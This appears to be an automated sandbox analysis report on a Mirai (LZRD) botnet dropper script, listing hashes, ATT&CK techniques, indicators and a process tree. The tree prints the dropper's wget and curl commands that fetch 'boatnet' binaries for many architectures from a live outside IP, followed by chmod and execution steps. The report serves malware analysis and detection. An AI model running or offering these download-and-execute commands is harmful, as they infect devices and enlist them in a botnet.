mirai | 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420

General

Target

75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh
Size

2KB
MD5

7223c9d6dfd0588a042452a35c3eedd5
SHA1

3ee35c5d531fccd8bdefb6143429e29575ee47e4
SHA256

75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420
SHA512

d2f5d60d1f528fa306b856a9dfb35e862b7e3e9db01a6c973cc2b11ed83e7a4e896d6542cd96a3699c3ddadaa8befde862d1205a5350efb047293be59caa898e

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

1502 chmod
1543 chmod
1559 chmod
1593 chmod
1621 chmod
1519 chmod
1551 chmod
1575 chmod
1645 chmod
1510 chmod
1535 chmod
1567 chmod
1583 chmod
1527 chmod
1611 chmod

pid	process
1502	chmod
1543	chmod
1559	chmod
1593	chmod
1621	chmod
1519	chmod
1551	chmod
1575	chmod
1645	chmod
1510	chmod
1535	chmod
1567	chmod
1583	chmod
1527	chmod
1611	chmod

Executes dropped EXE 15 IoCs

Processes:

WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTF

ioc	pid	process
/tmp/WTF	1503	WTF
/tmp/WTF	1511	WTF
/tmp/WTF	1520	WTF
/tmp/WTF	1528	WTF
/tmp/WTF	1536	WTF
/tmp/WTF	1544	WTF
/tmp/WTF	1552	WTF
/tmp/WTF	1560	WTF
/tmp/WTF	1568	WTF
/tmp/WTF	1576	WTF
/tmp/WTF	1584	WTF
/tmp/WTF	1594	WTF
/tmp/WTF	1612	WTF
/tmp/WTF	1622	WTF
/tmp/WTF	1646	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTF

description	ioc	process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

Processes:

WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTF

description	ioc	process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
upx

Processes:

resource yara_rule

/tmp/boatnet.x86 upx

resource	yara_rule
/tmp/boatnet.x86	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTF

description	ioc	process
File opened for reading	/proc/464/cmdline	WTF
File opened for reading	/proc/1049/cmdline	WTF
File opened for reading	/proc/1241/cmdline	WTF
File opened for reading	/proc/516/cmdline	WTF
File opened for reading	/proc/1613/cmdline	WTF
File opened for reading	/proc/1345/cmdline	WTF
File opened for reading	/proc/1164/cmdline	WTF
File opened for reading	/proc/1555/cmdline	WTF
File opened for reading	/proc/425/cmdline	WTF
File opened for reading	/proc/953/cmdline	WTF
File opened for reading	/proc/1139/cmdline	WTF
File opened for reading	/proc/683/cmdline	WTF
File opened for reading	/proc/1595/cmdline	WTF
File opened for reading	/proc/1625/cmdline	WTF
File opened for reading	/proc/1068/cmdline	WTF
File opened for reading	/proc/457/cmdline	WTF
File opened for reading	/proc/495/cmdline	WTF
File opened for reading	/proc/1099/cmdline	WTF
File opened for reading	/proc/1148/cmdline	WTF
File opened for reading	/proc/322/cmdline	WTF
File opened for reading	/proc/417/cmdline	WTF
File opened for reading	/proc/1561/cmdline	WTF
File opened for reading	/proc/488/cmdline	WTF
File opened for reading	/proc/1579/cmdline	WTF
File opened for reading	/proc/464/cmdline	WTF
File opened for reading	/proc/1139/cmdline	WTF
File opened for reading	/proc/606/cmdline	WTF
File opened for reading	/proc/1482/cmdline	WTF
File opened for reading	/proc/1131/cmdline	WTF
File opened for reading	/proc/1193/cmdline	WTF
File opened for reading	/proc/417/cmdline	WTF
File opened for reading	/proc/1078/cmdline	WTF
File opened for reading	/proc/1144/cmdline	WTF
File opened for reading	/proc/1493/cmdline	WTF
File opened for reading	/proc/1187/cmdline	WTF
File opened for reading	/proc/1068/cmdline	WTF
File opened for reading	/proc/1268/cmdline	WTF
File opened for reading	/proc/1135/cmdline	WTF
File opened for reading	/proc/1139/cmdline	WTF
File opened for reading	/proc/1152/cmdline	WTF
File opened for reading	/proc/1497/cmdline	WTF
File opened for reading	/proc/425/cmdline	WTF
File opened for reading	/proc/1236/cmdline	WTF
File opened for reading	/proc/644/cmdline	WTF
File opened for reading	/proc/1184/cmdline	WTF
File opened for reading	/proc/1649/cmdline	WTF
File opened for reading	/proc/1184/cmdline	WTF
File opened for reading	/proc/322/cmdline	WTF
File opened for reading	/proc/1376/cmdline	WTF
File opened for reading	/proc/1539/cmdline	WTF
File opened for reading	/proc/1563/cmdline	WTF
File opened for reading	/proc/1024/cmdline	WTF
File opened for reading	/proc/1523/cmdline	WTF
File opened for reading	/proc/680/cmdline	WTF
File opened for reading	/proc/1153/cmdline	WTF
File opened for reading	/proc/1305/cmdline	WTF
File opened for reading	/proc/1086/cmdline	WTF
File opened for reading	/proc/1615/cmdline	WTF
File opened for reading	/proc/1537/cmdline	WTF
File opened for reading	/proc/1595/cmdline	WTF
File opened for reading	/proc/1071/cmdline	WTF
File opened for reading	/proc/1506/cmdline	WTF
File opened for reading	/proc/1236/cmdline	WTF
File opened for reading	/proc/1099/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

curlwget

pid process

1508 curl
1507 wget

pid	process
1508	curl
1507	wget

Writes file to tmp directory 29 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetwgetwgetwgetcurlwgetcurlcurlcurlcurlcurlwgetwgetcurlwgetwgetcurlcurl75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.shwgetcurlwgetcurlcurlcurlcurlwgetcurlwget

description	ioc	process
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.x86_64	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/WTF	75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.mpsl	wget

/tmp/75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh
/tmp/75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh
1⤵
- Writes file to tmp directory
PID:1495

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.x86
2⤵
- Writes file to tmp directory
PID:1496

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.x86
2⤵
- Writes file to tmp directory
PID:1500

/bin/cat
cat boatnet.x86
2⤵
PID:1501

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.x86 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1502

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1503

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.mips
2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1507

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.mips
2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1508

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1510

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1511

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arc
2⤵
- Writes file to tmp directory
PID:1515

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arc
2⤵
- Writes file to tmp directory
PID:1516

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1519

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1520

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.i468
2⤵
PID:1524

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.i468
2⤵
- Writes file to tmp directory
PID:1525

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1527

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1528

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.i686
2⤵
PID:1532

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.i686
2⤵
- Writes file to tmp directory
PID:1533

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1535

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1536

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.x86_64
2⤵
- Writes file to tmp directory
PID:1540

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.x86_64
2⤵
- Writes file to tmp directory
PID:1541

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1543

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1544

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.mpsl
2⤵
- Writes file to tmp directory
PID:1548

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.mpsl
2⤵
- Writes file to tmp directory
PID:1549

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1551

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1552

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arm
2⤵
- Writes file to tmp directory
PID:1556

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arm
2⤵
- Writes file to tmp directory
PID:1557

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1559

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1560

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arm5
2⤵
- Writes file to tmp directory
PID:1564

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arm5
2⤵
- Writes file to tmp directory
PID:1565

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1567

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1568

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arm6
2⤵
- Writes file to tmp directory
PID:1572

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arm6
2⤵
- Writes file to tmp directory
PID:1573

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1575

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1576

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arm7
2⤵
- Writes file to tmp directory
PID:1580

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arm7
2⤵
- Writes file to tmp directory
PID:1581

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1583

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1584

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.ppc
2⤵
- Writes file to tmp directory
PID:1588

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.ppc
2⤵
- Writes file to tmp directory
PID:1591

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1593

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1594

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.spc
2⤵
- Writes file to tmp directory
PID:1598

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.spc
2⤵
- Writes file to tmp directory
PID:1605

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-LyQofu systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1611

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1612

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.m68k
2⤵
- Writes file to tmp directory
PID:1616

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.m68k
2⤵
- Writes file to tmp directory
PID:1617

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1621

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1622

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.sh4
2⤵
- Writes file to tmp directory
PID:1626

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.sh4
2⤵
- Writes file to tmp directory
PID:1637

/bin/chmod
chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-bySH7i systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-z4ECA1 WTF
2⤵
- File and Directory Permissions Modification
PID:1645

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1646

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

Impair Defenses

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
9989c8ea288da2dddad73db20f372194

SHA1
06efc879f9c23d099b6716bf9f84ac8666f29e98

SHA256
9d780354175a3b406f5764962a3ba7c137961d10005c632db0e7baae9e0b9008

SHA512
32ea5c58eb7fac324c88f576c7e05867599e5d3380f8868302a315ecc84427e2f80693386150e3121842a06f15c476224c4f66a1dda4d71d47511a1d7c600de9

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memory/1503-1-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1511-2-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1520-3-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1528-4-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1536-5-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1544-6-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1552-7-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1560-8-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1568-9-0x0000000008048000-0x00000000080547a0-memory.dmp

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memory/1576-10-0x0000000008048000-0x00000000080547a0-memory.dmp

